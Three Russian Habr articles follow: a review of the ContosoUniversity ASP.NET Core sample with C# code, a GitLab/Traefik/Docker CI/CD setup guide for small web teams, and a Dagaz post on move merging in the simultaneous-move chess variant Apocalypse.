В этом репозитории много хорошего материала, но не буду утверждать, что прочитал его весь и настолько вдумчиво, как хотелось бы. Чтобы детально все изучить, нужно потратить целый день. Однако некоторые моменты мне понравились, и взял их на заметку. Отдельные фрагменты кода явно сделаны в стиле Джимми, поскольку он писал их сам и под себя.
Это вовсе не упрек. Мы все со временем накапливаем шаблоны, формируем библиотеки и разрабатываем собственные архитектурные стили. Мне нравится, что Джимми собрал интересные наработки, сделанные им самим или при его участии за многие годы, и подготовил хороший материал для чтения. Джимми отмечает, что на [ContosoUniversityDotNetCore-Pages](https://github.com/jbogard/ContosoUniversityDotNetCore-Pages) есть много полезного:
* Шаблон [CQRS](https://www.hanselman.com/blog/ExploringCQRSWithinTheBrighterNETOpenSourceProject.aspx) и [MediatR](https://github.com/jbogard/MediatR?WT.mc_id=-blog-scottha)
* [AutoMapper](https://automapper.org/) для автоматического отображения «леворуких»/«праворуких» объектов
* [Архитектура вертикальных срезов](https://jimmybogard.com/vertical-slice-architecture/)
* [Razor Pages](https://docs.microsoft.com/en-us/aspnet/core/razor-pages?WT.mc_id=-blog-scottha)
* [Fluent Validation](https://fluentvalidation.net/) и [Shouldly](http://shouldly.readthedocs.io/en/latest/)
* Модель объекта [HtmlTags](https://github.com/HtmlTags/htmltags?WT.mc_id=-blog-scottha) для генерации HTML
* [Entity Framework Core](https://docs.microsoft.com/en-us/ef/core/?WT.mc_id=-blog-scottha)
Клонирование и сборка работают довольно хорошо
----------------------------------------------
Вы удивитесь, насколько низко я иногда опускаю планку. Очень часто я клонирую чей-либо git-репозиторий, который нигде не тестировался. И получаю бонус для загрузки в build.ps1 всего, что необходимо. В моей [системе уже установлен .NET Core 2.x](https://www.dot.net/), build.ps1 получает нужные пакеты и полностью строит код.
Насчет этого проекта существует много мнений. И это здорово, поскольку так я узнаю о методах и инструментах, которые раньше не использовал. Если кто-то применяет нестандартный подход, значит, среди стандартных инструментов нет нужного!
* Build.ps1 использует стиль скрипта сборки, взятый из [PSake](https://github.com/psake/psake?WT.mc_id=-blog-scottha), инструмента автоматизации сборки PowerShell.
* Он помещает сборку в папку со стандартным именем ./artifacts.
* В build.ps1 применяется [Roundhouse](https://github.com/chucknorris/roundhouse?WT.mc_id=-blog-scottha) — утилита миграции базы данных для .NET, которая использует SQL-файлы и версии, созданные при помощи инструмента управления версиями [projectroundhouse](http://projectroundhouse.org).
* Он настроен для непрерывной интеграции в [AppVeyor](https://www.hanselman.com/blog/AppVeyorAGoodContinuousIntegrationSystemIsAJoyToBehold.aspx), прекрасную систему CI/CD, которую я использую сам.
* Она применяет инструмент [Octo.exe](https://github.com/OctopusDeploy/OctopusClients?WT.mc_id=-blog-scottha) из OctopusDeploy для упаковки артефактов.
Упорядоченный и понятный код
----------------------------
По-моему, весь код читается очень легко. Я начал с Startup.cs, чтобы просто понять, какое промежуточное ПО используется.
```
public void ConfigureServices(IServiceCollection services)
{
services.AddMiniProfiler().AddEntityFramework();
services.AddDbContext(options =>
options.UseSqlServer(Configuration.GetConnectionString("DefaultConnection")));
services.AddAutoMapper(typeof(Startup));
services.AddMediatR(typeof(Startup));
services.AddHtmlTags(new TagConventions());
services.AddMvc(opt =>
{
opt.Filters.Add(typeof(DbContextTransactionPageFilter));
opt.Filters.Add(typeof(ValidatorPageFilter));
opt.ModelBinderProviders.Insert(0, new EntityModelBinderProvider());
})
.SetCompatibilityVersion(CompatibilityVersion.Version\_2\_1)
.AddFluentValidation(cfg => { cfg.RegisterValidatorsFromAssemblyContaining(); });
}
```
Здесь я вижу используемые библиотеки и помощники, например, AutoMapper, MediatR и HtmlTags. Далее я могу переходить в отдельные разделы и изучать каждый инструмент.
MiniProfiler
------------
Мне всегда нравился инструмент [MiniProfiler](https://miniprofiler.com/). Это тайное сокровище .NET создано уже давно и всегда полезно в работе. [Я упоминал о нем еще в 2011 году!](https://www.hanselman.com/blog/NuGetPackageOfTheWeek9ASPNETMiniProfilerFromStackExchangeRocksYourWorld.aspx) Он незаметно присутствует на вашей веб-странице и предоставляет ДЕЙСТВИТЕЛЬНО полезные данные о поведении сайта и ключевых значениях времени выполнения.
Целесообразно использовать его с EF Core, чтобы видеть также сгенерированный код SQL. И все встраивается в сайт по мере его создания.
Просто замечательно!
Понятные модульные тесты
------------------------
Джимми использует XUnit, и я вижу в списке файл [IntegrationTestBase.](https://github.com/jbogard/ContosoUniversityDotNetCore-Pages/blob/master/ContosoUniversity.IntegrationTests/IntegrationTestBase.cs?WT.mc_id=-blog-scottha) Некоторые моменты я не понимаю, например, работу файла [SliceFixture](https://github.com/jbogard/ContosoUniversityDotNetCore-Pages/blob/1c2e0e524221fac702d6e7e8027b046cbe031bd2/ContosoUniversity.IntegrationTests/SliceFixture.cs?WT.mc_id=-blog-scottha). Взял его на заметку, чтобы досконально во всем разобраться. Вряд ли здесь запускается создание новой тестовой вспомогательной библиотеки: слишком универсальный и серьезный подход, чтобы использовать его в этом шаблоне.
Джимми применяет шаблон [CQRS](https://www.hanselman.com/blog/ExploringCQRSWithinTheBrighterNETOpenSourceProject.aspx) (Command Query Responsibility Segregation). В начале создается и запускается команда Create, затем выполняется запрос для подтверждения результатов. Все предельно четко, мы получаем очень изолированный тест.
```
[Fact]
public async Task Should_get_edit_details()
{
var cmd = new Create.Command
{
FirstMidName = "Joe",
LastName = "Schmoe",
EnrollmentDate = DateTime.Today
};
var studentId = await SendAsync(cmd);
var query = new Edit.Query
{
Id = studentId
};
var result = await SendAsync(query);
result.FirstMidName.ShouldBe(cmd.FirstMidName);
result.LastName.ShouldBe(cmd.LastName);
result.EnrollmentDate.ShouldBe(cmd.EnrollmentDate);
}
```
Fluentvalidation
----------------
[fluentvalidation](https://fluentvalidation.net) — полезная библиотека для создания четких правил проверки со строгим контролем типов. Джимми использует ее повсюду и получает предельно понятный код проверки.
```
public class Validator : AbstractValidator
{
public Validator()
{
RuleFor(m => m.Name).NotNull().Length(3, 50);
RuleFor(m => m.Budget).NotNull();
RuleFor(m => m.StartDate).NotNull();
RuleFor(m => m.Administrator).NotNull();
}
}
```
Полезные решения
----------------
Давайте посмотрим, какие методы расширения C# проекта использует автор. Это показывает, чего, по его мнению, не хватает в базовом функционале. Метод позволяет возвращать данные в формате JSON из Razor Pages.
```
public static class PageModelExtensions
{
public static ActionResult RedirectToPageJson(this TPage controller, string pageName)
where TPage : PageModel
{
return controller.JsonNet(new
{
redirect = controller.Url.Page(pageName)
}
);
}
public static ContentResult JsonNet(this PageModel controller, object model)
{
var serialized = JsonConvert.SerializeObject(model, new JsonSerializerSettings
{
ReferenceLoopHandling = ReferenceLoopHandling.Ignore
});
return new ContentResult
{
Content = serialized,
ContentType = "application/json"
};
}
}
```
PaginatedList
-------------
Я всегда задавался вопросом, что же делать со вспомогательными классами типа PaginatedList. Слишком маленький для упаковки, слишком специфичный для встраивания. Что вы думаете?
```
public class PaginatedList : List
{
public int PageIndex { get; private set; }
public int TotalPages { get; private set; }
public PaginatedList(List items, int count, int pageIndex, int pageSize)
{
PageIndex = pageIndex;
TotalPages = (int)Math.Ceiling(count / (double)pageSize);
this.AddRange(items);
}
public bool HasPreviousPage
{
get
{
return (PageIndex > 1);
}
}
public bool HasNextPage
{
get
{
return (PageIndex < TotalPages);
}
}
public static async Task> CreateAsync(IQueryable source, int pageIndex, int pageSize)
{
var count = await source.CountAsync();
var items = await source.Skip((pageIndex - 1) \* pageSize).Take(pageSize).ToListAsync();
return new PaginatedList(items, count, pageIndex, pageSize);
}
}
```
Я продолжаю изучать любые источники кода, которые удается найти. Беру на заметку понравившиеся вещи, отмечаю то, что не знаю или не понимаю, и составляю список тем для чтения. Я бы посоветовал вам делать то же самое! Спасибо, [Джимми](https://twitter.com/jbogard/), за то, что написал [такой большой шаблон кода](https://github.com/jbogard/ContosoUniversityDotNetCore-Pages?WT.mc_id=-blog-scottha), который мы можем читать и изучать! | https://habr.com/ru/post/418519/ | null | ru | null |
# Веб-разработка с нуля: руководство для молодых команд по созданию инфраструктуры CI/CD и процесса разработки
Чуть больше года назад я столкнулся с тем, что на внутреннем проекте совсем не айтишной компании вырос целый отдел веб-разработки, которым мне и довелось руководить. Рабочий процесс вроде как устаканился и всех устраивал, но оставались проблемы:
* Проверка каждой ветки проходила локально. Приходилось откатывать базу от изменений с предыдущей проверки, билдить фронт. Когда несколько разработчиков вот-вот закончат работы и осталось проверить каждую по мелочи — это превращалось в ад;
* Различались окружения на проде и между разработчиками, что приводило к ошибкам: “у меня всё работает”.
Внутренний перфекционист жаждал организовать всё правильно. Делюсь результатами поисков ответа на вопрос: «а как, собственно, “правильно”»?
**Мы добились**
* Легкого и быстрого деплоя в production (ради эксперимента выводили каждый день две недели подряд);
* Гарантию защищённости от ошибок из-за различий в окружении приложения;
* Можем организовать эффективное взаимодействие с заказчиком:
+ демонстрировать каждую feature-ветку;
+ давать гостевой доступ для создания задач и наблюдения над ходом работ.
**Данная статья будет полезна, если вы:**
* начинающая IT-компания или в первый раз столкнулись с работой в команде над большим проектом;
* хотите обновить свой устаревший процесс разработки (workflow);
* ищете лучшие практики и хотите посмотреть, как у других;
* часто натыкаетесь на статьи про DevOps, CI/CD, облака и хотите, чтобы у вас одним нажатием кнопки создавались тестовые окружения, а очередное обновление прода не было рулеткой.
**Под катом вы найдёте**
* типовой рабочий процесс от постановки задач до релиза;
* инфраструктурное решение для построения любого современного процесса разработки с использованием минимального количества инструментов;
* пример для часто встречающегося кейса: разработка веб-приложения;
* видеозапись доклада, где вживую показывается результат.
Статья состоит из трех частей:
* Моё видение типичного процесса разработки;
* Инфраструктура для реализации любого современного рабочего процесса;
* Кейс для веб-разработки.
Поиск информации, актуальность вопроса
--------------------------------------
В процессе поиска лучших практик находилось много теории по методологиям, разным инструментам, но всё разрозненно. Не было чего-то, что показывало бы единый процесс, как он выглядит со стороны менеджера, разработчика и системного администратора (а-ля DevOps).
Например статьи, где [абстрактно](https://habr.com/ru/company/mailru/blog/196184/) [рассуждают](https://habr.com/ru/company/badoo/blog/335254) о процессе разработки, оставляют открытыми вопросы: “ок, хорошо, так а с помощью каких инструментов это можно сделать?”.
Не хватает реального практического примера по реализации некоего “базового” процесса, от которого уже можно было бы строить собственный. Видимо, авторами статей он считается очевидным. Напрашивается вариант перенять опыт крупных компаний или нанять человека с таким опытом, но такой подход может оказаться неэффективным. Ведь у крупной компании инфраструктура скорее всего заточена под задачи гораздо сложнее ваших текущих потребностей и требует много ресурсов и знаний для её реализации.
В конце концов, я пересмотрел большое количество связанных с данной темой материалов, ознакомился с различными инфраструктурными инструментами, пропустил всё через собственный опыт. При реализации прошёлся по всем граблям, о которых в официальной документации было сказано мало, но грабли должны были быть пройдены во имя “best practices”. Также понадобилось время по наладке работы отдела по-новому.
И, хотя данный опыт был получен уже как год назад, гугл показывает, что ещё не появилось гайда, который я искал когда-то.
Итак, приступим.
Вам понадобится:
* Наличие каких-либо мощностей в распоряжении. Может быть свой сервер, а может быть и облачная инфраструктура;
* Знание вашего приложения, как оно работает, как сейчас разворачивается;
* Базовые знания сетей, git, Linux, Docker, GitLab, Traefik.
Типичный процесс разработки
---------------------------
### Обязательные составляющие
**1. Работа по классической модели в git**
[A successful Git branching model](https://nvie.com/posts/a-successful-git-branching-model/) by Vincent Driessen
Необходимый минимум — иметь ветки: *master*, *dev* и *feature*.
**Feature**
В каждой *feature*-ветке ведется работа над каждым отдельным функционалом / исправлениями, создаются от *dev*-ветки. Прекращают существование после того, как изменения вольются в *dev*.
**Dev**
В *dev* происходит окончательная совместная отладка и тестирование всех новых изменений, после этого производится релиз в master.
**Master**
От этой ветки и происходит релиз на production-сервер. Также, при необходимости срочных исправлений, от неё создаются *hotfix*-ветки, вливаются в неё же и удаляются.
*Master* и *dev* защищены от прямых пушей, существуют всегда.
**2. Совместная работа в трекере задач. Документация всех принятых решений.**
Это очень важный момент. При переключении между несколькими feature ветками, программисты теряют контекст буквально на следующий день. Записать задачу с невысоким приоритетом в виде “глянуть, что не так с xxx” недостаточно, чтобы вспомнить, о чем идёт речь. Все замечания необходимо фиксировать в обсуждениях Merge Request-а данной ветки. Необходимо вести wiki проекта, чтобы ускорить адаптацию новичков и утверждать принятые решения.
> Важно всегда помнить, что если что-то не записано — этого не существует.
Крайней степенью документирования может служить опыт GitLab, которая была компанией без офиса ещё до ~~того, как это стало мейнстримом~~ пандемии.
**3. Автоматизация инфраструктуры для тестирования и релизов**
Всё просто — чем быстрее вы можете выводить свои решения в продакшн, тем они надёжнее и вы конкурентоспособнее. Часто можно встретить статьи, где измеряется количество релизов в месяц/неделю/день.
Я считаю, что это и послужило катализатором развития всех современных IT-гигантов и то, что сформировало DevOps. Сперва они автоматизировали процесс тестирования и выкатки своего монолита. Появилась проблема ожидания и невозможности локально развернуть окружение для разработки. Решением стала идея микросервисной архитектуры, что принесло новые проблемы. Где-то тут появилась контейнеризация (LXC), затем Docker, оркестраторы и понеслось...
### Функциональные роли
При совместной работе необходимо понимать, кто за что ответственный. Прошу обратить внимание, что это именно функциональные роли, а не должности. То есть, один человек может совмещать в себе несколько функциональных ролей. Уверен, в каждом проекте эти функции выполняются в какой-то мере, даже если об этом не подозревают. Привожу своё понимание, поскольку во многих статьях пишут так, будто все сразу родились со знанием, кто есть кто.
**Менеджер проекта**
Общается с ключевыми лицами заказчика, начальством, определяет ключевые показатели, ведёт документооборот, решает все финансовые и кадровые вопросы, занимается продвижением продукта — сам или взаимодействуя с другими отделами компании. Отвечает за коммерческий результат, прессует владельца продукта.
**Владелец продукта**
Представляет себе общий образ продукта, чем он должен стать, какие ценности нести для клиента. Ведет бэклог (список задач) продукта, определяет приоритеты задач, знает о всех функциях продукта, также, до определённой степени, с технической стороны. Должен иметь опыт разработки. Именно тот человек, который должен сказать, что “людей не хватает”. Ограждает команду от прессинга начальства.
**Аналитик / Технический писатель**
Всегда находится рядом с конечным пользователем продукта, изучает бизнес-процессы заказчика, собирает обратную связь после внедрения каждой фичи. Можно сказать, информатор владельца продукта, помогает формировать техническое задание. Также должен знать о всех функциях продукта. Участвует в обучении клиента, написании документации для передачи заказчику.
**Дизайнер UI/UX**
Ответственный за то, чтобы пользователям было удобно работать с продуктом. Критически важный элемент успеха (если вы не Microsoft, конечно).
**Архитектор**
Скорее всего работает на нескольких проектах. Самый опытный разработчик в компании. Консультирует тимлида.
**Тимлид**
Опытный разработчик, консультирует владельца продукта, оценивает трудоёмкость задач, распределяет их между разработчиками, занимается их дальнейшей декомпозицией и проработкой с технической стороны. Проводит финальную приёмку готовых работ.
**Разработчик**
Пишет и документирует код. Проводит код-ревью коллег.
Разработчики специализируются на своих направлениях: бэкенд, фронтенд, мобильная разработка и т.д., в зависимости от проекта.
**Тестировщик (QA / QC)**
Quality Control (QC) тестирует продукт. Как вручную, так и с помощью написания кода. Quality Assurance (QA) также участвует в разработке архитектуры и инфраструктуры проекта, чтобы получение качественного результата закладывалось в процессе производства ([Дао Toyota](https://econ.wikireading.ru/43991) — принцип встраивания качества). К примеру, тестировать именно тот docker-образ, который и будет выкачен на продакшн, а не пересобирать его после тестов.
**Системный администратор (DevOps)**
Как и архитектор, скорее всего работает на нескольких проектах. Создаёт инфраструктуру при старте проекта, вносит изменения по ходу его развития.
### Процесс разработки
*Этапы workflow*
1. Любая задача начинается с появления потребности в каком-то улучшении (feature) или отчёта об ошибке, которая сообщается владельцу продукта. Происходит фиксация в трекере.
2. Владелец продукта сам или с помощью аналитика выясняет все подробности. Всё записывается в задачу. Проводится первичная оценка трудоёмкости. Определяются приоритеты, возможно уже ставится в план работ.
3. Когда подходит время реализации, совместно с тимлидом производится декомпозиция (разбиение на подзадачи), определяются исполнители, совместно с ними она проговаривается, фиксируются достаточные для исполнителей описания по реализации. Если требуются уточнения по задаче — обращаются к владельцу продукта.
4. Создаётся feature-ветка из dev и, собственно, пишется код. Если задача большая и состоит из подзадач, то выделяется основная feature-ветка, в которую вливаются ветки подзадач. Пишутся тесты, если для этой задачи было принято такое решение.
> Примечание: для того, чтобы минимизировать конфликты при слияниях веток, необходимо, чтобы архитектура вашего приложения поддерживала [минимальную связанность модулей](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D1%86%D0%B5%D0%BF%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)). А также не стоит начинать работать над задачей, реализация которой приходится на тот же самый участок кода, который изменен в другой задаче, но по ней ещё не принят merge-request.
>
>
5. Создаётся merge-request в dev-ветку, производится сборка, тестирование и деплой feature-ветки.
6. Проводится ревью кода другими разработчиками, ручное тестирование. При наличии недочётов — снова авто-тесты, деплой, повторная проверка.
7. Тимлид проводит финальную проверку и принимает готовую feature-ветку в dev.
8. Когда приходит время очередного релиза, из dev-ветки со всеми последними изменениями создаётся merge-request в master и аналогичные пунктам 5, 6 действия.
9. Аналогично пункту 7, возможно привлекается владелец продукта.
10. Очень полезно сообщать пользователям, какие произошли изменения (формирование changelog-а), а также обновлять справку по продукту. Обновляем документацию и принимаем изменения в мастер.
11. Автоматически или вручную, выкатываются изменения в production.
12. Ведётся мониторинг приложения. В данной статье не рассмотрен.
Инфраструктура
--------------
При выборе инструментов использовались критерии:
* production-ready
* большое комьюнити
* невысокий порог входа относительно других инструментов
* как можно меньшее их количество (больше функциональности у каждого)
Итогом стал выбор технологий: [Traefik](https://traefik.io/traefik/), [GitLab](https://about.gitlab.com/) и [Docker](https://www.docker.com/).
* Используется 3 сервера **[Production]**, **[Staging]** и **[Services]**. Могут быть физическими или виртуальными машинами, количество может быть меньше и больше, может быть всё в облаке. Приведена наиболее эффективная конфигурация с точки зрения надёжность/цена. Главное, чтобы **[Production]** был отдельным и самым надёжным. На сервере **[Services]** установлен **GitLab** а также второстепенные сервисы (мониторинг, docker registry: *Portainer*, *ELK*, *Harbor*, etc), которые и будем называть **Services**. В данном примере их настройка не рассматривается. Все приложения работают в Docker-контейнерах. **GitLab** лучше установить отдельно, зависит от располагаемых мощностей.
* Traefik собирает информацию о запущенных динамических DNS-именах для `*.dev.company.ru`, подключившись к докеру **[Staging]** по TCP и предоставляет к ним доступ. Также автоматически получает SSL сертификаты для приложения на **[Production]**. Wildcard (WC) сертификат `*dev.company.ru` получается с помощью отдельного контейнера *letsencrypt-dns*, если ваш DNS-провайдер не поддерживается в **Traefik**. **Traefik** использует этот или самостоятельно полученный сертификат, обрезает SSL от клиентов и перенаправляет http запросы по доменным именам на соответствующие сервисы. Работает на **[Production]** вместе с основным приложением *App*.
* **GitLab** на **[Services]** с помощью **GitLab-runner**-ов, установленных на остальных ВМ, по Merge Request-ам (МР) на ветки *dev* и *master*, управляет запущенными докер-образами на **[Staging]** и **[Production]** согласно файлам *.gitlab-ci.yml* проектов.
* Сборка, тест и стейджинг происходят на **[Staging]**.
* В данном решении **GitLab** также работает как *Docker Registry*, где хранятся собранные образы приложений.
* Сами **GitLab**, **Traefik** и **Gitlab-runner**-ы также работают в docker-контейнерах, что позволяет легко обновлять и переносить инфраструктуру.
Привожу ссылку на github-репозиторий, в котором пошагово описан процесс создания данной инфраструктуры. Дабы не раздувать ещё больше этот лонгрид, прошу читать их там:
#### <https://github.com/Akkarine/demo_cicd>
> ### Предупреждение
>
>
>
> * Данное инфраструктурное решение является скорее стартовой площадкой для понимания основных принципов, нагрузочных тестирований не проводилось. Очень многое зависит от железа и архитектуры приложения. Для больших нагрузок, повышения надёжности и работы в облаке рекомендуется рассмотреть Enterprise версии Traefik и GitLab и воспользоваться консультациями специалистов.
> * В репозитории содержатся части конфигурации, которые очевидно нужно будет изменить под себя. Например, временная зона, почтовые адреса, домены и т.п.
> * Так как работа была проведена год назад, Traefik и GitLab заметно развились за это время и уже многие вещи можно оптимизировать. Так, Traefik уже поддерживает DNS Yandex (не без моего [скромного участия](https://github.com/go-acme/lego/pull/953)) и больше не нужен [промежуточный сервис](https://github.com/adferrand/dnsrobocert). А в GitLab появились более гибкие возможности конфигурирования. Например, [rules](https://docs.gitlab.com/ce/ci/yaml/#rules).
> * Также стоит обратить внимание на секцию “Что можно сразу улучшить”.
>
>
>
>
Кейс для веб-разработки
-----------------------
#### <https://github.com/Akkarine/demo_cicd_project>
Пример приводится для небольшого веб-приложения, также для понимания основных принципов, так как предполагает:
> * Недоступность приложения при обновлениях. Для организации выкатки без downtime потребуется поддержка со стороны кода приложения (версионность API бэкенда, поэтапные миграции БД), более сложные настройки load-balancer-а и алгоритма выкатки, а в идеале — переход на другой уровень инфраструктуры — kubernetes. Так что это уже далеко не уровень “для начинающих”
> * Запуск базы данных в докере (влияет на производительность)
> * Копирование production-базы данных для стейджинга (конфиденциальность данных, проблемы при большой базе)
> * Вызов команд от root в контейнерах (совершенно не лучшая практика)
>
>
>
>
Самое главное в репозитории — файл *.gitlab-ci.yml*. Рассмотрим стадии pipeline-а и входящие в них задачи на соответствие шагам в рабочем процессе:
* base-img-rebuild
+ rebuild-base-backend
Для ускорения сборка разбита на два этапа. На текущем — первом, строится базовый образ, который будет запускаться только при изменении файлов с описанием зависимостей. Во втором (стадия build), уже самого приложения.
* rebuild-dev-db
+ rebuild-dev-db
В данной задаче подготавливается общий образ базы данных для тестовых веток с бэкапом базы данных, развёрнутой прямо внутри образа.
* build
+ rebuild-proxy-img
Так как образ прокси-сервера nginx будет обновляться крайне редко, то данный образ можно сразу создавать с тэгом latest
+ build-backend
Происходит сборка приложения с текущими изменениями, пока тегируется номером задачи (уникально для всего GitLab)
* test
+ testing
Запуск автоматических тестов
* deploy-review
+ deploy\_review
Поднимается тестовый сервер, практически идентичный production, только с конфигурациями серверов, менее агрессивными к ресурсам.
* skip\_review
Используется для того, чтобы пропустить создание тестового сервера, если он на данном этапе разработки не нужен.
* review
+ approve-dev
Вызывается вручную. Когда Merge-request идёт в dev (т.е. текущая ветка — feature), то можно не нажимать. Задача просто для зелёной галочки на пайплайне.
+ approve-staging
Вызывается вручную. Когда Merge-request идёт в master (т.е. текущая ветка — hotfix или dev и идёт релиз), то протестированный образ с этапа build тегируется latest и заменяет предыдущую версию в репозитории. Для того, чтобы не затёрлась следующей latest версией, также заливается и с тэгом — номером задачи.
+ reject
Вызывается вручную. Просто отображает красный крест на пайплайне. Так из списка Merge Request-ов будет видно, что с данной веткой что-то не так.
+ stop\_review
Может быть вызвана как автоматически, так и вручную. Останавливает поднятый тестовый сервер.
* rebuild-approved-db-img
+ rebuild-approved-db-img
Если review был успешен и было обновление файлов в контексте создания образа БД, то создаётся новый образ с меткой latest и заливается в репозиторий.
* deploy-prod
+ deploy-production
На проде делается бэкап базы данных и обновляются контейнеры до latest. Если бэкап был неудачен, выкатка не происходит.
+ deploy-production-wo-containers
В случае, если не поднята базы данных для бэкапа, пропускается это действие.
* clear
Происходит очистка серверов staging и production от хлама
+ clean-staging
+ clean-prod
* restore-db
+ restore-db
Для первого деплоя или крайне неудачного обновления — восстанавливает базу данных из бэкапа.
И в заключение привожу видео митапа в феврале этого года, где показывается результат вживую. В части с экраном чуть рассинхрон с рассказом — пришлось потом повторить, забыл включить запись. Первое выступление на публике, волновался.
Материалы
---------
### Traefik
* <https://docs.traefik.io/>
### Альтернативный вариант reverse proxy + SSL на nginx
* <https://habr.com/ru/post/328048/>
* <https://habr.com/ru/post/445448/>
* <https://github.com/jwilder/nginx-proxy>
* <https://github.com/JrCs/docker-letsencrypt-nginx-proxy-companion>
### GitLab
* <https://docs.gitlab.com/omnibus/docker>
#### GitLab SSL config
* <https://docs.gitlab.com/omnibus/settings/ssl.html>
* Конфигурация за reverse-proxy <https://docs.gitlab.com/omnibus/settings/nginx.html#supporting-proxied-ssl>
#### GitLab Registry
* <https://docs.gitlab.com/ce/administration/container_registry.html#configure-container-registry-under-its-own-domain>
* Удаление образов: <https://docs.gitlab.com/omnibus/maintenance/#container-registry-garbage-collection>
#### Gitlab-runner
* Установка с помощью образа докера
* <https://docs.gitlab.com/runner/install/docker.html>
* Использование Docker Executor <https://docs.gitlab.com/runner/executors/docker.html>
* Использование SSH Executor <https://docs.gitlab.com/runner/executors/ssh.html>
* Регистрация раннера <https://docs.gitlab.com/runner/register/index.html#docker>
* Создание образов Docker с помощью GitLab CI/CD <https://docs.gitlab.com/ce/ci/docker/using_docker_build.html>
* Создание образов Docker внутри Docker без использования priveleged mode и кэшированием в registry
(полезно для работы в облаке) <https://docs.gitlab.com/ce/ci/docker/using_kaniko.html>
* Пригодится для создания файла конфигурации <https://docs.gitlab.com/runner/configuration/advanced-configuration.html>
* CLI <https://docs.gitlab.com/runner/commands/README.html>
### Docker
* Действия после установки <https://docs.docker.com/install/linux/linux-postinstall/>
* docker-compose файл <https://docs.docker.com/compose/reference/overview/>
* Полезно использовать при отладке <https://docs.docker.com/compose/reference/config/>
* Подключение к удаленному **Docker** с сертификатами (TCP + TLS): <https://docs.docker.com/engine/security/https/>
### Прочее полезное
* Анализ докер-образов: <https://github.com/wagoodman/dive>
```
# Команда для анализа docker образов (утилита запускается в докере)
sudo docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive:latest gitlab/gitlab-runner:latest
```
* Генератор конфигов различных серверов для работы с SSL: <https://ssl-config.mozilla.org/#server=traefik&server-version=2.1&config=intermediate>
* GitLab Shell Runner. Конкурентный запуск тестируемых сервисов при помощи **docker-compose** <https://habr.com/ru/post/449910>
* Группы в телеграмме:
+ <https://t.me/ru_gitlab>
+ <https://t.me/ru_docker>
+ <https://t.me/PostgreSQL_1C_Linux>
+ <https://t.me/werf_ru>
* Доклады Дмитрия Столярова из компании "Флант" | https://habr.com/ru/post/526440/ | null | ru | null |
# Dagaz: Быстрее, Лучше, Умнее…
***— Как взмывают ангелы дружно в ряд…
— Дружно в ряд, дружно в ряд…
— Поднимают головы! И летят! И летят!..
сэр Терри Пратчетт «Ночная стража»***
Рано или поздно, всегда наступает момент, когда количество неизбежно переходит в качество. Накапливаются новые игры, нуждающиеся в осмыслении, [проект](https://glukkazan.github.io/index.html) обрастает новыми возможностями, возможности комбинируются между собой. Если всё не рушится под собственной тяжестью, результат может превзойти самые смелые ожидания. То что не убивает — делает нас сильнее!
Вот пример подобной «суммы технологий». Игра, в общем-то не слишком сложная, но очень неожиданная. [Апокалипсис](https://glukkazan.github.io/elimination/apocalypse.htm) — на поле четыре всадника и поддерживающая их пехота. Привычные нам ходы [шахматных фигур](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D0%BD%D1%8B%D0%B5_%D1%84%D0%B8%D0%B3%D1%83%D1%80%D1%8B). Пешки, дойдя до последней линии, ожидаемо превращаются во всадников, но количество всадников на каждой стороне не может превышать двух. Игрок, первым потерявший всех своих всадников, проигрывает. Дьявол, как всегда, скрывается в деталях. Фигуры ходят одновременно!
**Что это означает с точки зрения проекта?**
Прежде всего, подобно головоломкам, это «игра для одного» — игрок делает ход, а бот «подмешивает» в него свой, не зная, какой ход сделал человек. Это игра с не полной информацией, хотя и в очень непривычном для нас виде. Здесь нет игральных кубиков или «тумана войны», но каждый из игроков, выполняя ход, не знает, как сходит его противник одновременно с ним.
Разумеется, возможны коллизии. Например, оба игрока могут одновременно сходить на одно и то же пустое поле или пешка может попытаться съесть фигуру, уходящую тем же ходом от удара. [Правила игры](https://en.wikipedia.org/wiki/Apocalypse_(chess_variant)) хорошо описывают эти нюансы. Пешке разрешается выполнять диагональный ход, при условии того, что она собралась кого-то побить, даже если фигура ушла с этой позиции, а результат конфликта за пустое поле определяется рангом фигур. Всадник всегда убивает пешку, если же фигуры равны — они уничтожаются обе (что, кстати, делает возможными ничейные исходы).
**Слияние ходов**
```
Dagaz.Model.join = function(design, board, a, b) {
var x = getPiece(design, board, a);
var y = getPiece(design, board, b);
if ((x !== null) && (y !== null)) {
var r = Dagaz.Model.createMove();
r.protected = [];
checkPromotion(design, board, a, x, b);
checkPromotion(design, board, b, y, a);
var p = a.actions[0][1][0];
var q = b.actions[0][1][0];
if ((p == q) && (x.type > y.type)) {
r.actions.push(b.actions[0]);
r.actions.push(a.actions[0]);
} else {
r.actions.push(a.actions[0]);
r.actions.push(b.actions[0]);
}
if (p == q) {
if (x.type > y.type) {
r.actions[0][2] = [ Dagaz.Model.createPiece(2, 2) ];
r.protected.push(x.player);
r.captured = p;
} else {
if (x.type == y.type) {
r.actions[0][2] = [ Dagaz.Model.createPiece(2, 1) ];
r.actions[1][2] = [ Dagaz.Model.createPiece(2, 1) ];
r.capturePiece(p);
} else {
r.actions[0][2] = [ Dagaz.Model.createPiece(2, 1) ];
r.protected.push(y.player);
r.captured = p;
}
}
}
return r;
} else {
return a;
}
}
```
Задача непростая, но механизм «расширения ходов» с ней прекрасно [справляется](https://github.com/GlukKazan/Dagaz/blob/master/src/debug/games/elimination/apocalypse-promotion.js). Действительно, как я уже неоднократно говорил раньше, на этапе постобработки мы можем не только запретить ход (нарушающий, например, инвариант игры), но и добавить в него вообще любые произвольные действия, в том числе, полученные из хода, сформированного ботом.
Есть правда одна тонкость — обычно, постобработка выполняется сразу после генерации, для всех сформированных ходов. В данном случае, так делать нельзя, поскольку это неизбежно приведёт к «комбинаторному взрыву» (игра хоть и небольшая, но всё равно приятного мало). Самое главное, делать этого и не нужно. Есть способ проще. Никто ведь не сказал, что мы не можем [переписать контроллер](https://github.com/GlukKazan/Dagaz/blob/master/src/debug/kernel/controller/app-sync.js). У модульности есть свои преимущества.
